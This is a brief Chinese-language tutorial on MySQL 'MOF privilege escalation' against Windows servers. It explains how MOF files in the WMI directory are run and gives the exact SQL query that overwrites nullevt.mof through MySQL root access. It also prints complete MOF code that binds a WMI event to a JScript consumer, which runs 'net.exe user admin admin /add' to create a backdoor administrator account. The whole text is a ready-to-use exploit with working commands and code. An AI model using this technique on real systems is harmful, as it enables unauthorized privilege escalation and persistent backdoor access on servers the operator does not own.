mof提权的原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
以下是mof提权的过程:
将mof上传至任意可读可写目录下,这里我传到D:\wamp\下命名为:xishaonian.mof。也就是:D:\wamp\xishaonian.mof
然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
替换的sql语句:select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代码如下所示:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilteras$EventFilter
{
EventNamespace= "Root\\Cimv2";
Name= "filtP2";
Query= "Select * From __InstanceModificationEvent"
"Where TargetInstance Isa \"Win32_LocalTime\""
"And TargetInstance.Second = 5";
QueryLanguage= "WQL";
};
instance of ActiveScriptEventConsumeras$Consumer
{
Name= "consPCSV2";
ScriptingEngine= "JScript";
ScriptText=
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer=$Consumer;
Filter=$EventFilter;
};
可见其中是有一段添加用户的脚本。账号为admin 密码为admin
THE END